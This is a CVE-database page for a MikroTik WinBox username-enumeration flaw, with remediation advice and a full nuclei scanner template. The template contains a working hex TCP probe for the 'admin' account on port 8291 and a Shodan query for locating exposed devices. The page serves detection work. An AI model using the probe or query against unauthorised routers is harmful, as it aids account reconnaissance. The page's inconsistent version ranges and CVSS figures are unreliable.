Browse / CVEs / CVE-2024-54772
CVE-2024-54772· CWE-203
MikroTik WinBox <= 6.49.17 - Username Enumeration
mediumseverity
5.3CVSS score
1.2%likelihood of exploitation, next 30 days
69%of all CVEs are less likely
Readycheck to confirm it
MikroTik RouterOS v6.43.13 through v6.49.13 and v6.43 through v7.17.2 contain an account enumeration issue caused by response size discrepancy in Winbox service, letting attackers identify valid usernames, exploit requires network access to Winbox service.
Impact
Attackers can enumerate valid user accounts, potentially aiding targeted attacks or privilege escalation.
Fix
Update to stable release v6.49.18 or later.
How to confirm it
Send: tcp probe to {{Hostname}}
Positive when: len(raw) == 51 and regex("^3106", hex_encode(raw))Run it with nuclei: nuclei -id CVE-2024-54772 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2024-54772
info:
name: MikroTik WinBox <= 6.49.17 - Username Enumeration
author: abdo342003
severity: medium
description: |
MikroTik RouterOS v6.43.13 through v6.49.13 and v6.43 through v7.17.2 contain an account enumeration issue caused by response size discrepancy in Winbox service, letting attackers identify valid usernames, exploit requires network access to Winbox service.
impact: |
Attackers can enumerate valid user accounts, potentially aiding targeted attacks or privilege escalation.
remediation: |
Update to stable release v6.49.18 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-54772
- https://github.com/deauther890/CVE-2024-54772
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2024-54772
epss-score: 0.01234
epss-percentile: 0.69273
cwe-id: CWE-203
metadata:
max-request: 1
shodan-query: port:8291 product:"MikroTik"
tags: cve,cve2024,mikrotik,routeros,winbox,enumeration,tcp
tcp:
- inputs:
# chr(len("admin") + 34), 0x06, "admin", 34 NUL bytes
- data: "270661646d696e00000000000000000000000000000000000000000000000000000000000000000000"
type: hex
host:
- "{{Hostname}}"
port: 8291
read-size: 512
matchers:
- type: dsl
dsl:
# 51-byte hello carrying the salt - the account exists
- 'len(raw) == 51'
# framing check: 0x31 is the payload length, 0x06 the message type
- 'regex("^3106", hex_encode(raw))'
condition: and
extractors:
- type: dsl
dsl:
- '"WinBox discloses that the admin account exists (51-byte salted hello)"'References
Use this check only on systems you are authorised to test. Where the data comes from